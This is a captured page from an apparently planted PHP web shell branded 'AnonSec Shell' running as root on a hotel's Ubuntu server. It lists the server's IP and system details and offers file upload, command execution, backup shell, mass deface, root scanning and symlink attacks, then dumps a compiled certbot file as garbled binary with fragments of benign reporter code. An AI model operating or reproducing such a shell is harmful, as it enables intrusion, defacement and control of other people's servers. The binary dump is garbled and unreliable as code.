AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/certbot/_internal/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/certbot/_internal/__pycache__/reporter.cpython-310.pyc
o

6��a+
�@sTdZddlZddlZddlZddlZddlZddlmZe�e	�Z
Gdd�d�ZdS)z.Collects and displays information to the user.�N)�utilc@sHeZdZdZdZ	dZ	dZ	e�dd�Z	dd�Z
dd
d�Zdd
�ZdS)�Reporterz�Collects and displays information to the user.

    :ivar `queue.PriorityQueue` messages: Messages to be displayed to
        the user.

    r���	_msg_typezpriority text on_crashcCst��|_||_dS�N)�queue�
PriorityQueue�messages�config)�selfr�r
�</usr/lib/python3/dist-packages/certbot/_internal/reporter.py�__init__s

zReporter.__init__TcCsF|j|kr
|jksJ�J�|j�|�|||��t�d|�dS)aXAdds msg to the list of messages to be printed.

        :param str msg: Message to be displayed to the user.

        :param int priority: One of `HIGH_PRIORITY`, `MEDIUM_PRIORITY`,
            or `LOW_PRIORITY`.

        :param bool on_crash: Whether or not the message should be
            printed if the program exits abnormally.

        zReporting to user: %sN)�
HIGH_PRIORITY�LOW_PRIORITYr
�putr�logger�debug)r�msg�priority�on_crashr
r
r�add_message"s zReporter.add_messagecsNd}|j��s7t��ddu}tj��}|jjs#|rtt	j
�td�tjddddd�}tj|j
|j
ddd��|j��s�|j��}|jjrO|j|jkrN|jsOq7|sT|jr�|ri|j|jkri|jjsitj�t	j�d}|j��}t|�|d��t|�dkr�td	��fd
d�|dd�D���|j��r<|r�|jjs�tj�t	j�dSdSdS)z�Prints messages to the user and clears the message queue.

        If there is an unhandled exception, only messages for which
        ``on_crash`` is ``True`` are printed.

        FrNzIMPORTANT NOTES:z - z   )�initial_indent�subsequent_indent�break_long_words�break_on_hyphensr�
c3s�|]}��|�VqdSr)�fill)�.0�line��next_wrapperr
r�	<genexpr>Zs�

�z*Reporter.print_messages.<locals>.<genexpr>)r
�empty�sys�exc_info�stdout�isattyr�quiet�printr�
ANSI_SGR_BOLD�textwrap�TextWrapperr�getrrr�write�ANSI_SGR_RESET�text�
splitlinesr�len�join)r�bold_on�no_exception�
first_wrapperr�linesr
r!r�print_messages2sP


��





�
��zReporter.print_messagesN)T)
�__name__�
__module__�__qualname__�__doc__r�MEDIUM_PRIORITYr�collections�
namedtuplerrrr9r
r
r
rr
s
r)r=r?�loggingrr%r,�certbotr�	getLoggerr:rrr
r
r
r�<module>s


Anon7 - 2022
AnonSec Team